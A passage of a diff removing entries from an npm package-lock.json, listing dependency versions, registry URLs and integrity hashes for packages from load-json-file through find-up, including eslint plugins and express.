-          "integrity": "sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg=",
-          "requires": {
-            "graceful-fs": "^4.1.2",
-            "parse-json": "^2.2.0",
-            "pify": "^2.0.0",
-            "strip-bom": "^3.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        },
-        "parse-json": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz",
-          "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=",
-          "requires": {
-            "error-ex": "^1.2.0"
-          }
-        },
-        "path-type": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/path-type/-/path-type-2.0.0.tgz",
-          "integrity": "sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM=",
-          "requires": {
-            "pify": "^2.0.0"
-          }
-        },
-        "pify": {
-          "version": "2.3.0",
-          "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
-          "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw="
-        },
-        "read-pkg": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-2.0.0.tgz",
-          "integrity": "sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg=",
-          "requires": {
-            "load-json-file": "^2.0.0",
-            "normalize-package-data": "^2.3.2",
-            "path-type": "^2.0.0"
-          }
-        },
-        "read-pkg-up": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-2.0.0.tgz",
-          "integrity": "sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4=",
-          "requires": {
-            "find-up": "^2.0.0",
-            "read-pkg": "^2.0.0"
-          }
-        }
-      }
-    },
-    "eslint-plugin-jsx-a11y": {
-      "version": "6.2.3",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.2.3.tgz",
-      "integrity": "sha512-CawzfGt9w83tyuVekn0GDPU9ytYtxyxyFZ3aSWROmnRRFQFT2BiPJd7jvRdzNDi6oLWaS2asMeYSNMjWTV4eNg==",
-      "requires": {
-        "@babel/runtime": "^7.4.5",
-        "aria-query": "^3.0.0",
-        "array-includes": "^3.0.3",
-        "ast-types-flow": "^0.0.7",
-        "axobject-query": "^2.0.2",
-        "damerau-levenshtein": "^1.0.4",
-        "emoji-regex": "^7.0.2",
-        "has": "^1.0.3",
-        "jsx-ast-utils": "^2.2.1"
-      },
-      "dependencies": {
-        "aria-query": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-3.0.0.tgz",
-          "integrity": "sha1-ZbP8wcoRVajJrmTW7uKX8V1RM8w=",
-          "requires": {
-            "ast-types-flow": "0.0.7",
-            "commander": "^2.11.0"
-          }
-        },
-        "emoji-regex": {
-          "version": "7.0.3",
-          "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
-          "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA=="
-        }
-      }
-    },
-    "eslint-plugin-react": {
-      "version": "7.19.0",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.19.0.tgz",
-      "integrity": "sha512-SPT8j72CGuAP+JFbT0sJHOB80TX/pu44gQ4vXH/cq+hQTiY2PuZ6IHkqXJV6x1b28GDdo1lbInjKUrrdUf0LOQ==",
-      "requires": {
-        "array-includes": "^3.1.1",
-        "doctrine": "^2.1.0",
-        "has": "^1.0.3",
-        "jsx-ast-utils": "^2.2.3",
-        "object.entries": "^1.1.1",
-        "object.fromentries": "^2.0.2",
-        "object.values": "^1.1.1",
-        "prop-types": "^15.7.2",
-        "resolve": "^1.15.1",
-        "semver": "^6.3.0",
-        "string.prototype.matchall": "^4.0.2",
-        "xregexp": "^4.3.0"
-      },
-      "dependencies": {
-        "doctrine": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
-          "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
-          "requires": {
-            "esutils": "^2.0.2"
-          }
-        },
-        "resolve": {
-          "version": "1.15.1",
-          "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.15.1.tgz",
-          "integrity": "sha512-84oo6ZTtoTUpjgNEr5SJyzQhzL72gaRodsSfyxC/AXRvwu0Yse9H8eF9IpGo7b8YetZhlI6v7ZQ6bKBFV/6S7w==",
-          "requires": {
-            "path-parse": "^1.0.6"
-          }
-        }
-      }
-    },
-    "eslint-plugin-react-hooks": {
-      "version": "1.7.0",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-1.7.0.tgz",
-      "integrity": "sha512-iXTCFcOmlWvw4+TOE8CLWj6yX1GwzT0Y6cUfHHZqWnSk144VmVIRcVGtUAzrLES7C798lmvnt02C7rxaOX1HNA=="
-    },
-    "eslint-scope": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.0.0.tgz",
-      "integrity": "sha512-oYrhJW7S0bxAFDvWqzvMPRm6pcgcnWc4QnofCAqRTRfQC0JcwenzGglTtsLyIuuWFfkqDG9vz67cnttSd53djw==",
-      "requires": {
-        "esrecurse": "^4.1.0",
-        "estraverse": "^4.1.1"
-      }
-    },
-    "eslint-utils": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-2.0.0.tgz",
-      "integrity": "sha512-0HCPuJv+7Wv1bACm8y5/ECVfYdfsAm9xmVb7saeFlxjPYALefjhbYoCkBjPdPzGH8wWyTpAez82Fh3VKYEZ8OA==",
-      "requires": {
-        "eslint-visitor-keys": "^1.1.0"
-      }
-    },
-    "eslint-visitor-keys": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.1.0.tgz",
-      "integrity": "sha512-8y9YjtM1JBJU/A9Kc+SbaOV4y29sSWckBwMHa+FGtVj5gN/sbnKDf6xJUl+8g7FAij9LVaP8C24DUiH/f/2Z9A=="
-    },
-    "espree": {
-      "version": "6.2.1",
-      "resolved": "https://registry.npmjs.org/espree/-/espree-6.2.1.tgz",
-      "integrity": "sha512-ysCxRQY3WaXJz9tdbWOwuWr5Y/XrPTGX9Kiz3yoUXwW0VZ4w30HTkQLaGx/+ttFjF8i+ACbArnB4ce68a9m5hw==",
-      "requires": {
-        "acorn": "^7.1.1",
-        "acorn-jsx": "^5.2.0",
-        "eslint-visitor-keys": "^1.1.0"
-      }
-    },
-    "esprima": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
-      "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A=="
-    },
-    "esquery": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.3.0.tgz",
-      "integrity": "sha512-/5qB+Mb0m2bh86tjGbA8pB0qBfdmCIK6ZNPjcw4/TtEH0+tTf0wLA5HK4KMTweSMwLGHwBDWCBV+6+2+EuHmgg==",
-      "requires": {
-        "estraverse": "^5.0.0"
-      },
-      "dependencies": {
-        "estraverse": {
-          "version": "5.1.0",
-          "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.1.0.tgz",
-          "integrity": "sha512-FyohXK+R0vE+y1nHLoBM7ZTyqRpqAlhdZHCWIWEviFLiGB8b04H6bQs8G+XTthacvT8VuwvteiP7RJSxMs8UEw=="
-        }
-      }
-    },
-    "esrecurse": {
-      "version": "4.2.1",
-      "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.1.tgz",
-      "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==",
-      "requires": {
-        "estraverse": "^4.1.0"
-      }
-    },
-    "estraverse": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
-      "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw=="
-    },
-    "esutils": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
-      "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g=="
-    },
-    "etag": {
-      "version": "1.8.1",
-      "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
-      "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc="
-    },
-    "eventemitter3": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.0.tgz",
-      "integrity": "sha512-qerSRB0p+UDEssxTtm6EDKcE7W4OaoisfIMl4CngyEhjpYglocpNg6UEqCvemdGhosAsg4sO2dXJOdyBifPGCg=="
-    },
-    "events": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/events/-/events-3.1.0.tgz",
-      "integrity": "sha512-Rv+u8MLHNOdMjTAFeT3nCjHn2aGlx435FP/sDHNaRhDEMwyI/aB22Kj2qIN8R0cw3z28psEQLYwxVKLsKrMgWg=="
-    },
-    "eventsource": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-1.0.7.tgz",
-      "integrity": "sha512-4Ln17+vVT0k8aWq+t/bF5arcS3EpT9gYtW66EPacdj/mAFevznsnyoHLPy2BA8gbIQeIHoPsvwmfBftfcG//BQ==",
-      "requires": {
-        "original": "^1.0.0"
-      }
-    },
-    "evp_bytestokey": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz",
-      "integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==",
-      "requires": {
-        "md5.js": "^1.3.4",
-        "safe-buffer": "^5.1.1"
-      }
-    },
-    "exec-sh": {
-      "version": "0.3.4",
-      "resolved": "https://registry.npmjs.org/exec-sh/-/exec-sh-0.3.4.tgz",
-      "integrity": "sha512-sEFIkc61v75sWeOe72qyrqg2Qg0OuLESziUDk/O/z2qgS15y2gWVFrI6f2Qn/qw/0/NCfCEsmNA4zOjkwEZT1A=="
-    },
-    "execa": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz",
-      "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==",
-      "requires": {
-        "cross-spawn": "^6.0.0",
-        "get-stream": "^4.0.0",
-        "is-stream": "^1.1.0",
-        "npm-run-path": "^2.0.0",
-        "p-finally": "^1.0.0",
-        "signal-exit": "^3.0.0",
-        "strip-eof": "^1.0.0"
-      }
-    },
-    "exit": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz",
-      "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw="
-    },
-    "expand-brackets": {
-      "version": "2.1.4",
-      "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
-      "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=",
-      "requires": {
-        "debug": "^2.3.3",
-        "define-property": "^0.2.5",
-        "extend-shallow": "^2.0.1",
-        "posix-character-classes": "^0.1.0",
-        "regex-not": "^1.0.0",
-        "snapdragon": "^0.8.1",
-        "to-regex": "^3.0.1"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        },
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        }
-      }
-    },
-    "expect": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/expect/-/expect-24.9.0.tgz",
-      "integrity": "sha512-wvVAx8XIol3Z5m9zvZXiyZOQ+sRJqNTIm6sGjdWlaZIeupQGO3WbYI+15D/AmEwZywL6wtJkbAbJtzkOfBuR0Q==",
-      "requires": {
-        "@jest/types": "^24.9.0",
-        "ansi-styles": "^3.2.0",
-        "jest-get-type": "^24.9.0",
-        "jest-matcher-utils": "^24.9.0",
-        "jest-message-util": "^24.9.0",
-        "jest-regex-util": "^24.9.0"
-      }
-    },
-    "express": {
-      "version": "4.17.1",
-      "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz",
-      "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==",
-      "requires": {
-        "accepts": "~1.3.7",
-        "array-flatten": "1.1.1",
-        "body-parser": "1.19.0",
-        "content-disposition": "0.5.3",
-        "content-type": "~1.0.4",
-        "cookie": "0.4.0",
-        "cookie-signature": "1.0.6",
-        "debug": "2.6.9",
-        "depd": "~1.1.2",
-        "encodeurl": "~1.0.2",
-        "escape-html": "~1.0.3",
-        "etag": "~1.8.1",
-        "finalhandler": "~1.1.2",
-        "fresh": "0.5.2",
-        "merge-descriptors": "1.0.1",
-        "methods": "~1.1.2",
-        "on-finished": "~2.3.0",
-        "parseurl": "~1.3.3",
-        "path-to-regexp": "0.1.7",
-        "proxy-addr": "~2.0.5",
-        "qs": "6.7.0",
-        "range-parser": "~1.2.1",
-        "safe-buffer": "5.1.2",
-        "send": "0.17.1",
-        "serve-static": "1.14.1",
-        "setprototypeof": "1.1.1",
-        "statuses": "~1.5.0",
-        "type-is": "~1.6.18",
-        "utils-merge": "1.0.1",
-        "vary": "~1.1.2"
-      },
-      "dependencies": {
-        "array-flatten": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
-          "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI="
-        },
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        },
-        "qs": {
-          "version": "6.7.0",
-          "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz",
-          "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ=="
-        }
-      }
-    },
-    "ext": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/ext/-/ext-1.4.0.tgz",
-      "integrity": "sha512-Key5NIsUxdqKg3vIsdw9dSuXpPCQ297y6wBjL30edxwPgt2E44WcWBZey/ZvUc6sERLTxKdyCu4gZFmUbk1Q7A==",
-      "requires": {
-        "type": "^2.0.0"
-      },
-      "dependencies": {
-        "type": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/type/-/type-2.0.0.tgz",
-          "integrity": "sha512-KBt58xCHry4Cejnc2ISQAF7QY+ORngsWfxezO68+12hKV6lQY8P/psIkcbjeHWn7MqcgciWJyCCevFMJdIXpow=="
-        }
-      }
-    },
-    "extend": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
-      "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
-    },
-    "extend-shallow": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
-      "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
-      "requires": {
-        "assign-symbols": "^1.0.0",
-        "is-extendable": "^1.0.1"
-      },
-      "dependencies": {
-        "is-extendable": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
-          "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
-          "requires": {
-            "is-plain-object": "^2.0.4"
-          }
-        }
-      }
-    },
-    "external-editor": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz",
-      "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==",
-      "requires": {
-        "chardet": "^0.7.0",
-        "iconv-lite": "^0.4.24",
-        "tmp": "^0.0.33"
-      }
-    },
-    "extglob": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz",
-      "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
-      "requires": {
-        "array-unique": "^0.3.2",
-        "define-property": "^1.0.0",
-        "expand-brackets": "^2.1.4",
-        "extend-shallow": "^2.0.1",
-        "fragment-cache": "^0.2.1",
-        "regex-not": "^1.0.0",
-        "snapdragon": "^0.8.1",
-        "to-regex": "^3.0.1"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
-          "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
-          "requires": {
-            "is-descriptor": "^1.0.0"
-          }
-        },
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        },
-        "is-accessor-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
-          "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-data-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
-          "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-descriptor": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
-          "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
-          "requires": {
-            "is-accessor-descriptor": "^1.0.0",
-            "is-data-descriptor": "^1.0.0",
-            "kind-of": "^6.0.2"
-          }
-        },
-        "kind-of": {
-          "version": "6.0.3",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
-          "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
-        }
-      }
-    },
-    "extsprintf": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz",
-      "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU="
-    },
-    "fast-deep-equal": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.1.tgz",
-      "integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA=="
-    },
-    "fast-glob": {
-      "version": "2.2.7",
-      "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-2.2.7.tgz",
-      "integrity": "sha512-g1KuQwHOZAmOZMuBtHdxDtju+T2RT8jgCC9aANsbpdiDDTSnjgfuVsIBNKbUeJI3oKMRExcfNDtJl4OhbffMsw==",
-      "requires": {
-        "@mrmlnc/readdir-enhanced": "^2.2.1",
-        "@nodelib/fs.stat": "^1.1.2",
-        "glob-parent": "^3.1.0",
-        "is-glob": "^4.0.0",
-        "merge2": "^1.2.3",
-        "micromatch": "^3.1.10"
-      },
-      "dependencies": {
-        "glob-parent": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz",
-          "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=",
-          "requires": {
-            "is-glob": "^3.1.0",
-            "path-dirname": "^1.0.0"
-          },
-          "dependencies": {
-            "is-glob": {
-              "version": "3.1.0",
-              "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz",
-              "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=",
-              "requires": {
-                "is-extglob": "^2.1.0"
-              }
-            }
-          }
-        }
-      }
-    },
-    "fast-json-stable-stringify": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
-      "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw=="
-    },
-    "fast-levenshtein": {
-      "version": "2.0.6",
-      "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
-      "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc="
-    },
-    "faye-websocket": {
-      "version": "0.10.0",
-      "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.10.0.tgz",
-      "integrity": "sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=",
-      "requires": {
-        "websocket-driver": ">=0.5.1"
-      }
-    },
-    "fb-watchman": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.1.tgz",
-      "integrity": "sha512-DkPJKQeY6kKwmuMretBhr7G6Vodr7bFwDYTXIkfG1gjvNpaxBTQV3PbXg6bR1c1UP4jPOX0jHUbbHANL9vRjVg==",
-      "requires": {
-        "bser": "2.1.1"
-      }
-    },
-    "figgy-pudding": {
-      "version": "3.5.2",
-      "resolved": "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-3.5.2.tgz",
-      "integrity": "sha512-0btnI/H8f2pavGMN8w40mlSKOfTK2SVJmBfBeVIj3kNw0swwgzyRq0d5TJVOwodFmtvpPeWPN/MCcfuWF0Ezbw=="
-    },
-    "figures": {
-      "version": "3.2.0",
-      "resolved": "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz",
-      "integrity": "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==",
-      "requires": {
-        "escape-string-regexp": "^1.0.5"
-      }
-    },
-    "file-entry-cache": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-5.0.1.tgz",
-      "integrity": "sha512-bCg29ictuBaKUwwArK4ouCaqDgLZcysCFLmM/Yn/FDoqndh/9vNuQfXRDvTuXKLxfD/JtZQGKFT8MGcJBK644g==",
-      "requires": {
-        "flat-cache": "^2.0.1"
-      }
-    },
-    "file-loader": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-4.3.0.tgz",
-      "integrity": "sha512-aKrYPYjF1yG3oX0kWRrqrSMfgftm7oJW5M+m4owoldH5C51C0RkIwB++JbRvEW3IU6/ZG5n8UvEcdgwOt2UOWA==",
-      "requires": {
-        "loader-utils": "^1.2.3",
-        "schema-utils": "^2.5.0"
-      }
-    },
-    "file-uri-to-path": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz",
-      "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==",
-      "optional": true
-    },
-    "filesize": {
-      "version": "6.0.1",
-      "resolved": "https://registry.npmjs.org/filesize/-/filesize-6.0.1.tgz",
-      "integrity": "sha512-u4AYWPgbI5GBhs6id1KdImZWn5yfyFrrQ8OWZdN7ZMfA8Bf4HcO0BGo9bmUIEV8yrp8I1xVfJ/dn90GtFNNJcg=="
-    },
-    "fill-range": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
-      "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
-      "requires": {
-        "extend-shallow": "^2.0.1",
-        "is-number": "^3.0.0",
-        "repeat-string": "^1.6.1",
-        "to-regex-range": "^2.1.0"
-      },
-      "dependencies": {
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        }
-      }
-    },
-    "finalhandler": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz",
-      "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==",
-      "requires": {
-        "debug": "2.6.9",
-        "encodeurl": "~1.0.2",
-        "escape-html": "~1.0.3",
-        "on-finished": "~2.3.0",
-        "parseurl": "~1.3.3",
-        "statuses": "~1.5.0",
-        "unpipe": "~1.0.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        }
-      }
-    },
-    "find-cache-dir": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz",
-      "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==",
-      "requires": {
-        "commondir": "^1.0.1",
-        "make-dir": "^2.0.0",
-        "pkg-dir": "^3.0.0"
-      }
-    },
-    "find-up": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz",
